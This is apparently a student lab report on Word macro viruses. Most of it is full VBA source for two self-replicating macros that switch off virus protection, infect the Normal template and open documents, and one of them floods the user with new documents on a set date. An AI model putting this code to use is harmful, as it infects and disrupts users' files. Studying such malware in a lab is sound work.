201424010257 邹文敏
一、 实验目的
通过运行计算机代码,更加深刻的理解计算机代码。对计算机代码有一个初步的认识。 加深对宏病毒的感性认识,宏病毒是感染数据文件word,office等。
二、 实验内容
运行自我复制,感染word公用模板和当前文档;具有一定破坏性的宏;清除宏病毒。
三、 实验步骤 实验一:
将word文档中的 开发者工具打开 ;word 中心→信任选项→宏设计将信任选项打开
运行第一个实验Visual Basic →normal →Microsoft→the document
Project→microsoft word对象→the document复制如下代码:
'APMP
Private Sub Document_Open() On Error Resume Next
Application.DisplayStatusBar = False Options.VirusProtection = False
Options.SaveNormalPrompt = False '以上都是基本的自我隐藏措施 MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20) Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then _
Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule With Host
If .Lines(1, 1) <> \"'APMP\" Then '判断感染标志
.DeleteLines 1, .CountOfLines '删除目标文件所有代码 .InsertLines 1, MyCode '向目标文档写入病毒代码 If ThisDocument = NormalTemplate Then _
ActiveDocument.SaveAs ActiveDocument.FullName End If End With
MsgBox \"Basic class macro by jackie\ End Sub
保存时注意保存为宏文件
实验一运行截图:
清除实验一中的内容只需要删除,the document 中的内容在保存即可。
实验二:
编写代码的位置同上;
代码如下: 'moonlight Dim nm(4)
Sub Document_Open() 'DisableInput 1
Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule
Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then
Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule End If With host
If .Lines(1, 1) <> \"'moonlight\" Then
.DeleteLines 1, .CountOfLines
.InsertLines 1, ourcodemodule.Lines(1, 100) .ReplaceLine 3, \"Sub Document_Close()\"
If ThisDocument = NormalTemplate Then .ReplaceLine 3, \"Sub Document_Open()\"
ActiveDocument.SaveAs ActiveDocument.FullName End If End If
End With
Count = 0
If Day(Now()) = 25 Then try:
On Error GoTo try test = -1 con = 1 tog$ = \"\" i = 0
While test = -1 For i = 0 To 4
nm(i) = Int(Rnd() * 10) con = con * nm(i) If i = 4 Then
tog$ = tog$ + Str$(nm(4)) + \"=?\" GoTo beg End If
tog$ = tog$ + Str$(nm(i)) + \"*\" Next i beg:
Beep
ans$ = InputBox$(\"今天是\" + Date$ + \跟你玩一个心算游戏\" + Chr$(13) + \"若你答错,只好接受震撼教育......\" + Chr$(13) + tog$, \"NO.1 Macro Virus\") If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then Documents.Add
Selection.Paragraphs.Alignment = wdAlignParagraphCenter Beep
With Selection.Font .Name = \"细明体\" .Size = 16 .Bold = 1
.Underline = 1 End With
Selection.InsertAfter Text:=\"何谓宏病毒\" Selection.InsertParagraphAfter Beep
Selection.InsertAfter Text:=\"答案:\" Selection.Font.Italic = 1
Selection.InsertAfter Text:=\"我就是......\" Selection.InsertParagraphAfter Selection.InsertParagraphAfter Selection.Font.Italic = 0 Beep
Selection.InsertAfter Text:=\"如何预防宏病毒\" Selection.InsertParagraphAfter Beep
Selection.InsertAfter Text:=\"答案:\" Selection.Font.Italic = 1
Selection.InsertAfter Text:=\"不要看我......\" GoTo out Else
Count = Count + 1 For j = 1 To 20 Beep
Documents.Add Next j
Selection.Paragraphs.Alignment = wdAlignParagraphCenter Selection.InsertAfter Text:=\"宏病毒\" If Count = 2 Then GoTo out GoTo try End If
Wend End If out: End Sub
运行截图:
① 运行错误时:
② 运行错误时:
最后清除病毒时首先用快捷方式ctrl+alt+delet打开任务管理,之后结束进程,删除写病
毒的文档,好了,文档中的病毒已经被删除了!
四、 心得
宏病毒的使用在word文档中一旦被感染不删除的话会一直感染下去,致使电脑死机。宏病毒,宏病毒主要感染数据文件即非可执行文件。平时注意word文档中的信任选项和病毒漏洞的防护哟!
因篇幅问题不能全部显示,请点此查看更多更全内容
Copyright © 2019- nryq.cn 版权所有 赣ICP备2024042798号-6
违法及侵权请联系:TEL:199 1889 7713 E-MAIL:2724546146@qq.com
本站由北京市万商天勤律师事务所王兴未律师提供法律服务